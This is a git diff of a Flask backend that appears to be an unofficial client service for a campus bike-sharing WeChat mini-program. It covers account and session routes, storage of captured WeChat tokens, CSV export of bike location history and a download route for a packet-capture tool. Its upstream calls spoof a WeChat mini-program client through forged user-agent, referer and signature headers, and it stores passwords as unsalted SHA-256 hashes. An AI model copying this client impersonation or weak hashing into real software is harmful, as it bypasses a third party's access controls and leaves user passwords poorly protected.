is_strict_mode + return is_strict_mode() + + +def _login_rate_ok(ip: str, email: str): + """检查登录是否被锁定。返回 (ok, 剩余秒数)""" + key = (ip, email) + now = time.time() + with _rl_lock: + entry = _login_fail.get(key) + if not entry: + return True, 0 + count, first_ts = entry + if now - first_ts > LOGIN_LOCK_SECONDS: + # 窗口已过,重置 + del _login_fail[key] + return True, 0 + if count >= LOGIN_MAX_FAILS: + return False, int(LOGIN_LOCK_SECONDS - (now - first_ts)) + return True, 0 + + +def _login_record_fail(ip: str, email: str): + key = (ip, email) + now = time.time() + with _rl_lock: + entry = _login_fail.get(key) + if not entry or now - entry[1] > LOGIN_LOCK_SECONDS: + _login_fail[key] = [1, now] + else: + entry[0] += 1 + + +def _login_record_success(ip: str, email: str): + with _rl_lock: + _login_fail.pop((ip, email), None) + + +def _register_rate_ok(ip: str): + now = time.time() + with _rl_lock: + entry = _register_ips.get(ip) + if not entry or now - entry[1] > 3600: + _register_ips[ip] = [1, now] + return True + entry[0] += 1 + return entry[0] <= REGISTER_MAX_PER_HOUR + + +def hash_password(password: str) -> str: + return hashlib.sha256(password.encode()).hexdigest() + + +def generate_token() -> str: + return secrets.token_urlsafe(32) + + +SESSION_EXPIRY_DAYS = 30 + + +def _ua_label(ua: str) -> str: + """从 User-Agent 生成一个可读的设备名(服务端权威解析)。 + 原生壳(Android WebView 注入 xbniu-native)显示为 Native App; + 鸿蒙(OpenHarmony/ArkWeb)识别为鸿蒙;无匹配时不写"未知"。""" + if "xbniu-native" in ua.lower(): + return "Native App" + if "Windows NT" in ua: + os_name = "Windows" + elif "iPhone" in ua or "iPad" in ua or "iPod" in ua: + os_name = "iOS" + elif "OpenHarmony" in ua or "HarmonyOS" in ua or "ArkWeb" in ua: + os_name = "鸿蒙" + elif "Android" in ua: + os_name = "Android" + elif "Mac OS X" in ua: + os_name = "macOS" + elif "Linux" in ua: + os_name = "Linux" + elif "Mobile" in ua: + os_name = "移动设备" + else: + os_name = "电脑" + browser = "浏览器" + if "MicroMessenger" in ua: + browser = "微信" + elif "HuaweiBrowser" in ua: + browser = "华为浏览器" + elif "Edg/" in ua: + browser = "Edge" + elif "QQBrowser" in ua: + browser = "QQ浏览器" + elif "MiuiBrowser" in ua: + browser = "小米浏览器" + elif "Chrome/" in ua: + browser = "Chrome" + elif "Firefox/" in ua: + browser = "Firefox" + elif "Safari/" in ua: + browser = "Safari" + return f"{os_name} · {browser}" + + +def _collect_device_info(data): + """从请求提取/生成设备标识信息。仅用于设备管理展示,不改变认证方式。 + 设备名以服务端按 UA 解析为准(含 Native App / 鸿蒙识别), + 仅当请求无 UA 时才退回客户端上报的名字。 + 返回 (device_name, device_id, user_agent)""" + ua = (request.headers.get("User-Agent", "") or "").strip() + device_id = (data.get("device_id") or "").strip() + if not device_id: + device_id = hashlib.sha256((ua or "unknown").encode("utf-8")).hexdigest()[:16] + if ua: + device_name = _ua_label(ua) + else: + device_name = (data.get("device_name") or "").strip() or "未知设备" + return device_name[:60], device_id[:64], ua[:500] + + +def get_current_user(): + """获取当前登录用户""" + token = request.headers.get("Authorization", "").replace("Bearer ", "") + if not token: + return None + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT users.id, users.email FROM sessions + JOIN users ON sessions.user_id = users.id + WHERE sessions.token = ? AND sessions.expires_at > datetime('now', '+8 hours') + """, (token,)) + user = cursor.fetchone() + if user: + # 最近活跃时间:节流刷新(至多每 5 分钟写一次),供“登录设备管理”展示;时间统一为 GMT+8 + cursor.execute(""" + UPDATE sessions SET last_active = datetime('now', '+8 hours') + WHERE token = ? AND (last_active IS NULL + OR last_active < datetime('now', '+8 hours', '-300 seconds')) + """, (token,)) + # 登录设备类型:只要有请求(含打开页面时的 /api/auth/status)就按最新 UA 刷新, + # 同一会话换浏览器/进原生壳后立即生效;仅在类型确实变化时才产生写入 + ua = (request.headers.get("User-Agent", "") or "").strip() + if ua: + label = _ua_label(ua)[:60] + cursor.execute(""" + UPDATE sessions + SET device_name = ?, user_agent = ? + WHERE token = ? AND (device_name != ? OR user_agent != ?) + """, (label, ua[:500], token, label, ua[:500])) + conn.commit() + conn.close() + return dict(user) if user else None + + +def login_required(): + """验证登录状态""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}), 401 + return user + + +@bp.route("/api/auth/send_code", methods=["POST"]) +def auth_send_code(): + """发送邮箱验证码。purpose=register 注册 / reset 重置密码。 + 无论邮箱是否已注册都返回同样的成功响应,避免通过本接口枚举已注册邮箱; + 重置用途时未注册邮箱实际不会发信(静默丢弃)。验证码 60 秒冷却与 IP 上限在服务端强制。""" + data = request.get_json() or {} + email = data.get("email", "").strip().lower() + purpose = str(data.get("purpose", "register")).strip() or "register" + if purpose not in ("register", "reset"): + purpose = "register" + if not re.match(r'^[\w\.-]+@[\w\.-]+\.\w+$', email): + return jsonify({"rtn_code": 400, "message": "邮箱格式不正确"}) + ip = _client_ip() + if not email_verify.ip_send_allowed(ip): + return jsonify({"rtn_code": 429, + "message": "验证码请求过于频繁,请稍后再试"}), 429 + cooldown = email_verify.check_send_cooldown(email) + if cooldown > 0: + return jsonify({"rtn_code": 429, + "message": f"发送过于频繁,请 {cooldown} 秒后再试"}), 429 + if purpose == "reset": + # 防枚举:未注册邮箱保持相同响应但不真正发信 + conn = get_db() + row = conn.execute("SELECT id FROM users WHERE email = ?", (email,)).fetchone() + conn.close() + if not row: + return jsonify({"rtn_code": 0, "message": "验证码已发送,请查收邮箱(注意垃圾箱)"}) + ok, message = email_verify.send_code(email, purpose=purpose) + if not ok: + return jsonify({"rtn_code": 500, "message": message}) + return jsonify({"rtn_code": 0, "message": "验证码已发送,请查收邮箱(注意垃圾箱)"}) + + +@bp.route("/api/auth/register", methods=["POST"]) +def register(): + data = request.get_json() or {} + email = data.get("email", "").strip().lower() + password = data.get("password", "") + # access_token 选填;兼容旧前端的 wx_signature / token 键名 + access_token = (data.get("access_token") or data.get("wx_signature") + or data.get("token") or "").strip() + token_id = data.get("token_id", "").strip() + code = str(data.get("code", "")).strip() + + if not re.match(r'^[\w\.-]+@[\w\.-]+\.\w+$', email): + return jsonify({"rtn_code": 400, "message": "邮箱格式不正确"}) + if len(password) < 6: + return jsonify({"rtn_code": 400, "message": "密码至少6位"}) + if not code: + return jsonify({"rtn_code": 400, "message": "请输入邮箱验证码"}) + if not _register_rate_ok(_client_ip()): + return jsonify({"rtn_code": 429, "message": "注册过于频繁,请稍后再试"}) + # 先校验验证码再查邮箱是否已注册:验证码与邮箱绑定, + # 攻击者拿不到别人邮箱里的验证码就无法探测该邮箱是否已注册。 + if not email_verify.verify_code(email, code): + return jsonify({"rtn_code": 400, "message": "验证码错误或已过期,请重新获取"}) + if _strict_signature_required() and not access_token: + return jsonify({"rtn_code": 400, + "message": "已开启强签名验证:注册时必须填写 AccessToken"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id FROM users WHERE email = ?", (email,)) + if cursor.fetchone(): + conn.close() + return jsonify({"rtn_code": 400, "message": "该邮箱已注册"}) + + # 注册时尚无登录态,凭据有效性由服务端直接向上游校验 + # (前端注册表单预检用的 verify_token 接口需要登录,此处为权威校验) + if token_id or access_token: + valid, msg = _verify_upstream_token(token_id, access_token) + if not valid: + conn.close() + return jsonify({"rtn_code": 400, "message": f"微信凭据校验未通过:{msg}"}) + + # 邀请码:所有其他校验通过后再核销,避免失败尝试浪费使用次数 + invite_code = str(data.get("invite_code", "")).strip() + ok, invite_msg = consume_invite_code(invite_code, email) + if not ok: + conn.close() + return jsonify({"rtn_code": 400, "message": invite_msg}) + + password_hash = hash_password(password) + cursor.execute( + "INSERT INTO users (email, password_hash, access_token, token_id) VALUES (?, ?, ?, ?)", + (email, password_hash, access_token if access_token else None, + token_id if token_id else None) + ) + user_id = cursor.lastrowid + + session_token = generate_token() + device_name, device_id, user_agent = _collect_device_info(data) + cursor.execute(""" + INSERT INTO sessions (user_id, token, expires_at, device_name, device_id, user_agent, last_active) + VALUES (?, ?, datetime('now', '+8 hours', '+30 days'), ?, ?, ?, datetime('now', '+8 hours')) + """, (user_id, session_token, device_name, device_id, user_agent)) + conn.commit() + conn.close() + + # 只有用户自带微信凭据时才启动订单检测;不再默认继承全局 token_id + if token_id: + from timer import start_user_order_checker + start_user_order_checker(user_id) + + return jsonify({"rtn_code": 0, "message": "注册成功", + "data": {"token": session_token, "email": email}}) + + +@bp.route("/api/auth/reset_password", methods=["POST"]) +def auth_reset_password(): + """忘记密码:邮箱验证码重置。成功后作废该账号全部登录会话(防凭据盗用延续)。""" + data = request.get_json() or {} + email = data.get("email", "").strip().lower() + password = data.get("password", "") + code = str(data.get("code", "")).strip() + if not re.match(r'^[\w\.-]+@[\w\.-]+\.\w+$', email): + return jsonify({"rtn_code": 400, "message": "邮箱格式不正确"}) + if len(password) < 6: + return jsonify({"rtn_code": 400, "message": "密码至少6位"}) + if not code: + return jsonify({"rtn_code": 400, "message": "请输入邮箱验证码"}) + # 限流:每 IP 每小时最多 10 次重置尝试(验证码本身另有 5 次错误作废) + if not rate_limit.hit(("reset_pwd", _client_ip()), 10, 3600): + return jsonify({"rtn_code": 429, "message": "尝试过于频繁,请稍后再试"}) + if not email_verify.verify_code(email, code, purpose="reset"): + return jsonify({"rtn_code": 400, "message": "验证码错误或已过期,请重新获取"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id FROM users WHERE email = ?", (email,)) + user = cursor.fetchone() + if not user: + conn.close() + # 验证码已消费:不回滚(保持与发送时相同的防枚举语义) + return jsonify({"rtn_code": 400, "message": "该邮箱尚未注册"}) + cursor.execute("UPDATE users SET password_hash = ? WHERE id = ?", + (hash_password(password), user["id"])) + cursor.execute("DELETE FROM sessions WHERE user_id = ?", (user["id"],)) + conn.commit() + conn.close() + print(f"[操作日志] 重置密码: email={email}") + return jsonify({"rtn_code": 0, "message": "密码已重置,请使用新密码重新登录"}) + + +@bp.route("/api/auth/alert_email", methods=["GET", "POST"]) +def auth_alert_email(): + """查看/设置凭据失效告警接收邮箱(默认账号邮箱)。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + if request.method == "GET": + from db import get_user_alert_email + return jsonify({"rtn_code": 0, "data": {"alert_email": get_user_alert_email(user["id"])}}) + data = request.get_json(silent=True) or {} + email = str(data.get("email", "")).strip().lower() + if email and not re.match(r'^[\w\.-]+@[\w\.-]+\.\w+$', email): + return jsonify({"rtn_code": 400, "message": "邮箱格式不正确"}) + from db import set_user_alert_email + if not set_user_alert_email(user["id"], email): + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + return jsonify({"rtn_code": 0, "message": "告警邮箱已保存"}) + + +@bp.route("/api/auth/login", methods=["POST"]) +def login(): + data = request.get_json() or {} + email = data.get("email", "").strip().lower() + password = data.get("password", "") + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id, email, password_hash FROM users WHERE email = ?", (email,)) + user = cursor.fetchone() + ip = _client_ip() + ok, wait_seconds = _login_rate_ok(ip, email) + if not ok: + conn.close() + return jsonify({"rtn_code": 429, + "message": f"失败次数过多,请 {max(wait_seconds // 60, 1)} 分钟后再试"}) + if not user or user["password_hash"] != hash_password(password): + conn.close() + _login_record_fail(ip, email) + return jsonify({"rtn_code": 400, "message": "邮箱或密码错误"}) + _login_record_success(ip, email) + + # 支持多设备同时登录:不再清空该用户的旧会话,仅为本设备新增一条会话 + session_token = generate_token() + device_name, device_id, user_agent = _collect_device_info(data) + cursor.execute(""" + INSERT INTO sessions (user_id, token, expires_at, device_name, device_id, user_agent, last_active) + VALUES (?, ?, datetime('now', '+8 hours', '+30 days'), ?, ?, ?, datetime('now', '+8 hours')) + """, (user["id"], session_token, device_name, device_id, user_agent)) + conn.commit() + conn.close() + + return jsonify({"rtn_code": 0, "message": "登录成功", + "data": {"token": session_token, "email": user["email"]}}) + + +@bp.route("/api/auth/logout", methods=["POST"]) +def logout(): + token = request.headers.get("Authorization", "").replace("Bearer ", "") + if token: + conn = get_db() + cursor = conn.cursor() + cursor.execute("DELETE FROM sessions WHERE token = ?", (token,)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已退出登录"}) + + +@bp.route("/api/auth/status") +def auth_status(): + user = get_current_user() + from wechat import is_strict_mode + strict = is_strict_mode() + if user: + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT access_token FROM users WHERE id = ?", (user["id"],)) + row = cursor.fetchone() + conn.close() + has_at = bool(row and row["access_token"]) + data = {"logged_in": True, "email": user["email"], + "strict_mode": strict, "has_access_token": has_at} + if strict and not has_at: + data["notice"] = "已开启强签名验证:请补充 AccessToken" + return jsonify({"rtn_code": 0, "data": data}) + return jsonify({"rtn_code": 0, "data": {"logged_in": False, "strict_mode": strict}}) + + +@bp.route("/api/auth/sessions", methods=["GET"]) +def list_sessions(): + """列出当前账号所有登录设备(多设备会话),标记当前设备""" + token = request.headers.get("Authorization", "").replace("Bearer ", "") + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}), 401 + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT id, device_name, device_id, user_agent, created_at, last_active, + CASE WHEN token = ? THEN 1 ELSE 0 END AS is_current + FROM sessions + WHERE user_id = ? AND expires_at > datetime('now', '+8 hours') + ORDER BY is_current DESC, + COALESCE(last_active, created_at, '1970-01-01') DESC, id DESC + """, (token, user["id"])) + sessions = [dict(r) for r in cursor.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": {"sessions": sessions}}) + + +@bp.route("/api/auth/sessions/kick", methods=["POST"]) +def kick_session(): + """下线某台设备(仅限当前账号下的其他设备,禁止下线自己)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}), 401 + data = request.get_json() or {} + try: + session_id = int(data.get("session_id")) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "参数错误"}) + token = request.headers.get("Authorization", "").replace("Bearer ", "") + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT id FROM sessions WHERE token = ? AND user_id = ?", + (token, user["id"])) + cur = cursor.fetchone() + if cur and cur["id"] == session_id: + conn.close() + return jsonify({"rtn_code": 400, "message": "不能下线当前设备"}) + cursor.execute("DELETE FROM sessions WHERE id = ? AND user_id = ?", + (session_id, user["id"])) + deleted = cursor.rowcount + conn.commit() + conn.close() + if deleted: + return jsonify({"rtn_code": 0, "message": "已下线该设备"}) + return jsonify({"rtn_code": 404, "message": "设备不存在或已下线"}) + + +@bp.route("/api/auth/sessions/logout_all", methods=["POST"]) +def logout_all_other_sessions(): + """下线当前账号除本设备外的所有登录设备""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}), 401 + token = request.headers.get("Authorization", "").replace("Bearer ", "") + conn = get_db() + cursor = conn.cursor() + cursor.execute("DELETE FROM sessions WHERE user_id = ? AND token != ?", + (user["id"], token)) + conn.commit() + conn.close() + return jsonify({"rtn_code": 0, "message": "已下线其他所有设备"}) + + +@bp.route("/api/auth/save_token", methods=["POST"]) +def save_xbniu_token(): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + # access_token 选填;兼容旧前端的 wx_signature / token 键名 + access_token = (data.get("access_token") or data.get("wx_signature") + or data.get("token") or "").strip() + token_id = data.get("token_id", "").strip() + if _strict_signature_required() and not access_token: + return jsonify({"rtn_code": 400, + "message": "已开启强签名验证:必须填写 AccessToken"}) + if not token_id: + return jsonify({"rtn_code": 400, "message": "Token ID 不能为空"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute( + "UPDATE users SET access_token = ?, token_id = ? WHERE id = ?", + (access_token if access_token else None, token_id if token_id else None, user["id"]) + ) + conn.commit() + conn.close() + + from timer import start_user_order_checker, stop_user_order_checker + if token_id: + start_user_order_checker(user["id"]) + else: + stop_user_order_checker(user["id"]) + try: + from routes.rental import _user_info_cache + _user_info_cache.pop(user["id"], None) # 凭据变了,订单状态缓存立即失效 + except Exception: + pass + + return jsonify({"rtn_code": 0, "message": "凭据已保存"}) + + +def _verify_upstream_token(token_id: str, access_token: str) -> tuple: + """向上游校验微信凭据有效性。返回 (valid, message)。 + 供 verify_token 接口(已登录,防枚举)与注册流程(注册时尚无登录态)共用。""" + import requests as req + from wechat import BASE_URL, make_signature + timestamp = str(int(time.time())) + test_headers = { + "Host": "bike.sdlongren.com", + "User-Agent": "Mozilla/5.0 (Linux; Android 13; V2134A Build/TP1A.220624.014) " + "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 " + "Chrome/107.0.0.0 Mobile Safari/537.36 " + "MicroMessenger/8.0.43.2540(0x28002B33) WeChat/arm64 Weixin " + "NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "Content-Type": "application/json", + "Accept": "*/*", + "hsf-x-timestamp": timestamp, + "hsf-x-tokenid": token_id, + "hsf-x-signature": make_signature(access_token, "GET", "/user/info", + timestamp, token_id), + "platform": "xiaobai", + } + try: + # 用 /user/info 验证:与车型无关,任何校区都返回 0,仅校验凭据有效性 + resp = req.get(f"{BASE_URL}/user/info", + headers=test_headers, timeout=8) + result = resp.json() + if result.get("rtn_code") == 0: + return True, "凭据有效" + msg = result.get("message", "凭据无效") + if result.get("rtn_code") == 102001: + msg = "Token 已失效,请在小程序重新登录后获取新凭据" + return False, msg + except Exception as e: + return False, f"验证失败: {e}" + + +@bp.route("/api/auth/verify_token", methods=["POST"]) +def verify_xbniu_token(): + """验证微信凭据有效性。需要已登录,防止被当作开放代理探测任意 token_id。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + # access_token 选填(为空则用伪装签名,只验证 token_id 有效性); + # 兼容旧前端的 wx_signature 键名 + access_token = (data.get("access_token") or data.get("wx_signature") + or data.get("token") or "").strip() + token_id = data.get("token_id", "").strip() + if not token_id: + return jsonify({"rtn_code": 400, "message": "Token ID 不能为空"}) + + valid, msg = _verify_upstream_token(token_id, access_token) + return jsonify({"rtn_code": 0, "valid": valid, "message": msg}) + + +@bp.route("/api/auth/profile", methods=["GET"]) +def get_profile(): + """获取用户基本信息(包含token)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT access_token, token_id FROM users WHERE id = ?", (user["id"],)) + row = cursor.fetchone() + conn.close() + + token_id = row["token_id"] if row else "" + access_token = row["access_token"] if row else None + + from wechat import parse_access_token_expiry + expiry = parse_access_token_expiry(access_token) + + return jsonify({ + "rtn_code": 0, + "data": { + "email": user["email"], + "access_token": access_token, + "token": access_token, # 旧前端兼容别名 + "token_id": token_id, + "has_auth": bool(token_id), + "has_access_token": bool(access_token), + "access_token_expiry": expiry, + "strict_mode": _strict_signature_required(), + "alert_email": get_user_alert_email(user["id"]), + "rental_settings": get_user_rental_settings(user["id"]), + } + }) + + +@bp.route("/api/auth/rental_settings", methods=["GET", "POST"]) +def rental_settings(): + """查看或修改当前用户的提醒、到期时间与自动还车策略。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + if request.method == "GET": + return jsonify({"rtn_code": 0, "data": get_user_rental_settings(user["id"])}) + try: + settings = normalize_rental_settings(request.get_json(silent=True) or {}) + except ValueError as exc: + return jsonify({"rtn_code": 400, "message": str(exc)}) + if not save_user_rental_settings(user["id"], settings): + return jsonify({"rtn_code": 404, "message": "用户不存在"}) + from timer import reschedule_user_rental_timers + reschedule_user_rental_timers(user["id"], apply_duration=True) + return jsonify({"rtn_code": 0, "message": "用车设置已保存", "data": settings}) + + +@bp.route("/api/auth/user_info", methods=["GET"]) +def get_user_info(): + """获取用户真实信息(姓名、已付钱、省的钱)- 需要有凭据""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT access_token, token_id FROM users WHERE id = ?", (user["id"],)) + row = cursor.fetchone() + conn.close() + + access_token = row["access_token"] if row else None + token_id = row["token_id"] if row else "" + + if not token_id: + return jsonify({"rtn_code": 0, "data": { + "true_name": None, "out_money": None, "save_money": None + }}) + + true_name = None + out_money = None + save_money = None + try: + user_info = request_with_user_auth(user["id"], "GET", "/user/info", _silent=True) + if user_info and user_info.get("rtn_code") == 0: + data = user_info.get("data", {}) + true_name = data.get("trueName") or data.get("nickName") + account = data.get("account", {}) + out_money = account.get("outMoney") + save_money = account.get("saveMoney") + except: + pass + + return jsonify({"rtn_code": 0, "data": { + "true_name": true_name, "out_money": out_money, + "save_money": save_money, "has_auth": True + }}) + + +@bp.route("/api/auth/packages", methods=["GET"]) +def get_user_packages(): + """获取用户的已购卡包信息""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + from db import get_user_auth + token_id, access_token = get_user_auth(user["id"]) + if not token_id: + return jsonify({"rtn_code": 400, "message": "请先在个人中心填写 Token ID 和签名", + "data": {"packages": [], "has_auth": False}}) + + import requests as req + from wechat import BASE_URL, make_signature + timestamp = str(int(time.time())) + headers = { + "Host": "bike.sdlongren.com", + "hsf-x-timestamp": timestamp, + "hsf-x-tokenid": token_id, + "hsf-x-signature": make_signature(access_token, "GET", "/user/packages", + timestamp, token_id), + "xweb_xhr": "1", "platform": "xiaobai", + "user-agent": "Mozilla/5.0 (Linux; Android 13; V2134A Build/TP1A.220624.014) " + "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 " + "Chrome/107.0.0.0 Mobile Safari/537.36 " + "MicroMessenger/8.0.43.2540(0x28002B33) WeChat/arm64 Weixin " + "NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "content-type": "application/json", "accept": "*/*", + "referer": "https://servicewechat.com/wx10426ca961518f43/108/page-frame.html", + } + try: + resp = req.get(f"{BASE_URL}/user/packages", + headers=headers, timeout=10, verify=True) + result = resp.json() + packages = result.get("data", {}).get("bike_packages", []) + return jsonify({"rtn_code": 0, "data": {"packages": packages, "has_auth": True}}) + except Exception as e: + return jsonify({"rtn_code": 500, "message": f"请求失败: {e}", + "data": {"packages": [], "has_auth": True}}) diff --git a/routes/download.py b/routes/download.py new file mode 100644 index 0000000..d7e51e0 --- /dev/null +++ b/routes/download.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""抓包工具安装包下载 + +安装包体积较大(约 160MB),放在项目根的 downloads/ 目录而不是 static/, +避免被 Flask 静态路由以外的缓存策略干扰,也便于单独替换升级。 + +公开访问:用户注册前就需要拿到工具,若加登录校验会形成「没工具拿不到凭据、 +没凭据注册不了」的死循环。 +""" +from pathlib import Path + +from flask import Blueprint, jsonify, send_from_directory + +bp = Blueprint("download", __name__) + +# 磁盘上用 ASCII 文件名:中文与全角括号在部分 Linux 文件系统/nginx 配置下 +# 容易出编码问题。对外的下载文件名由 download_name 还原。 +DOWNLOADS_DIR = Path(__file__).parent.parent / "downloads" +CAPTURE_TOOL_FILE = "xbniu-capture-tool.exe" +CAPTURE_TOOL_NAME = "小白超人抓包工具(新版).exe" + + +@bp.route("/download/capture-tool.exe", methods=["GET", "HEAD"]) +def download_capture_tool(): + if not (DOWNLOADS_DIR / CAPTURE_TOOL_FILE).is_file(): + return jsonify({"rtn_code": 404, "message": "安装包暂未上传"}), 404 + # conditional=True 支持 Range 请求,大文件可断点续传/多线程下载 + resp = send_from_directory( + DOWNLOADS_DIR, + CAPTURE_TOOL_FILE, + as_attachment=True, + download_name=CAPTURE_TOOL_NAME, + conditional=True, + max_age=3600, + ) + # Flask 只在收到 Range 时才回 Content-Range,但下载管理器需要先看到 + # Accept-Ranges 才敢发 Range,所以这里显式声明支持续传 + resp.headers["Accept-Ranges"] = "bytes" + return resp diff --git a/routes/export.py b/routes/export.py new file mode 100644 index 0000000..d749e44 --- /dev/null +++ b/routes/export.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""数据导出:历史轨迹 CSV 直链下载。 + +流程:登录用户在分析页点导出 → POST /api/export/create(需登录)→ +返回 /export/csv/ 直链(免登录,1 小时有效,一次性换浏览器可继续下载)。 +前端用 detectInAppBrowser 复用「复制链接到外部浏览器」提示(微信/原生壳内无法下载)。 + +CSV 内容:最近 3 天全部车辆点位(与库内保留策略一致)。 +""" +import csv +import datetime as dt +import io +import secrets + +from flask import Blueprint, jsonify, request, Response + +from db import get_db +from routes.auth import get_current_user + +bp = Blueprint("export", __name__) + +EXPORT_TTL_HOURS = 1 +# 与 app.HISTORY_RETENTION_DAYS 对齐(bike_history 库内保留窗口) +HISTORY_DAYS = 30 + +_STATE_LABELS = { + "available": "可用", "used": "使用中", "locked": "欠压", + "reserved": "损坏", "low": "低电量", +} + + +def _classify(state, status, electric): + try: + state = int(state) + except (TypeError, ValueError): + state = 1 + try: + status = int(status) + except (TypeError, ValueError): + status = 1 + try: + electric = float(electric) + except (TypeError, ValueError): + electric = 100.0 + if state == 10 or electric < 20: + return "low" + if state == 4: + return "locked" + if state == 2: + return "reserved" + if state == 1 and status == 1: + return "used" + return "available" + + +def _clean_expired_tokens(conn): + conn.execute("DELETE FROM export_tokens WHERE expires_at < datetime('now', '+8 hours')") + + +@bp.route("/api/export/create", methods=["POST"]) +def export_create(): + """创建导出直链。body: {type: 'history_csv'}(当前仅一种)。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + data = request.get_json(silent=True) or {} + export_type = str(data.get("type") or "history_csv") + if export_type != "history_csv": + return jsonify({"rtn_code": 400, "message": "暂不支持该导出类型"}) + + token = secrets.token_urlsafe(24) + tz = dt.timezone(dt.timedelta(hours=8)) + expires = (dt.datetime.now(tz) + dt.timedelta(hours=EXPORT_TTL_HOURS)).strftime( + "%Y-%m-%d %H:%M:%S") + conn = get_db() + _clean_expired_tokens(conn) + conn.execute( + "INSERT INTO export_tokens (token, scope, expires_at) VALUES (?, ?, ?)", + (token, export_type, expires)) + conn.commit() + conn.close() + print(f"[导出] 创建直链: user={user['email']}, 有效期至 {expires}") + return jsonify({"rtn_code": 0, "data": { + "url": f"/export/csv/{token}", + "expires_at": expires, + "ttl_hours": EXPORT_TTL_HOURS, + }}) + + +@bp.route("/export/csv/") +def export_download(token): + """直链下载(免登录):1 小时内有效,可重复下载,换浏览器也能用。""" + token = (token or "").strip() + if not token or len(token) > 120: + return jsonify({"rtn_code": 400, "message": "导出链接无效"}), 400 + conn = get_db() + row = conn.execute( + "SELECT token, scope, expires_at FROM export_tokens WHERE token = ?", + (token,)).fetchone() + conn.close() + if not row: + return jsonify({"rtn_code": 404, "message": "导出链接不存在或已失效"}), 404 + tz = dt.timezone(dt.timedelta(hours=8)) + try: + expires = dt.datetime.strptime(row["expires_at"], "%Y-%m-%d %H:%M:%S").replace(tzinfo=tz) + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "导出链接已失效"}), 400 + if expires <= dt.datetime.now(tz): + return jsonify({"rtn_code": 400, "message": "导出链接已过期(有效期 1 小时),请重新生成"}), 400 + + stamp = dt.datetime.now(tz).strftime("%Y%m%d-%H%M") + filename = f"xbniu_history_{stamp}.csv" + + def generate(): + # UTF-8 BOM:让 Excel 直接双击打开不乱码 + yield "\ufeff" + buf = io.StringIO() + writer = csv.writer(buf, lineterminator="\n") + writer.writerow(["bike_code", "latitude", "longitude", + "state_label", "electric", "recorded_at"]) + yield buf.getvalue() + buf.seek(0) + buf.truncate(0) + + conn = get_db() + try: + cursor = conn.execute(""" + SELECT bike_code, latitude, longitude, state, status, electric, recorded_at + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', ?) + ORDER BY recorded_at ASC, bike_code + """, (f"-{HISTORY_DAYS} days",)) + while True: + rows = cursor.fetchmany(2000) + if not rows: + break + for r in rows: + writer.writerow([ + r["bike_code"], r["latitude"], r["longitude"], + _STATE_LABELS.get(_classify(r["state"], r["status"], r["electric"]), + "未知"), + r["electric"], r["recorded_at"], + ]) + yield buf.getvalue() + buf.seek(0) + buf.truncate(0) + finally: + conn.close() + + resp = Response(generate(), mimetype="text/csv; charset=utf-8") + resp.headers["Content-Disposition"] = f"attachment; filename=\"{filename}\"" + resp.headers["Cache-Control"] = "no-store" + return resp diff --git a/routes/map_api.py b/routes/map_api.py new file mode 100644 index 0000000..4e21f7b --- /dev/null +++ b/routes/map_api.py @@ -0,0 +1,412 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""地图数据、寻车、分析等路由""" +import json +import time +import uuid +import hashlib +import threading +import asyncio +import aiohttp +from pathlib import Path +from flask import Blueprint, current_app, jsonify, request, render_template + +from db import get_db, get_user_display_name, get_user_auth +from routes.auth import get_current_user +from wechat import request_api, get_signature_headers, SEARCH_BIKE_URL, SEARCH_HEADERS + +bp = Blueprint("map_api", __name__) + +# 批量寻铃(响铃所有车)消耗大且影响他人,仅对指定用户开放 +BATCH_RING_ALLOWED_EMAILS = {"3146527494@qq.com"} + +# 并行寻车任务 +ring_tasks: dict = {} +_ring_lock = threading.Lock() + + +async def ring_single_bike_async(session, bike_code, school_id=10): + try: + headers = {**SEARCH_HEADERS, **get_signature_headers()} + async with session.post( + SEARCH_BIKE_URL, + json={"code": bike_code, "school_id": school_id}, + headers=headers, + timeout=aiohttp.ClientTimeout(total=5) + ) as resp: + data = await resp.json() + return data.get("rtn_code") == 0 or data.get("success") is True + except Exception: + return False + + +def run_ring_task(task_id: str): + global ring_tasks + task = ring_tasks.get(task_id) + if not task: + return + bikes = task["bikes"] + total = len(bikes) + task["total"] = total + loop = asyncio.new_event_loop() + 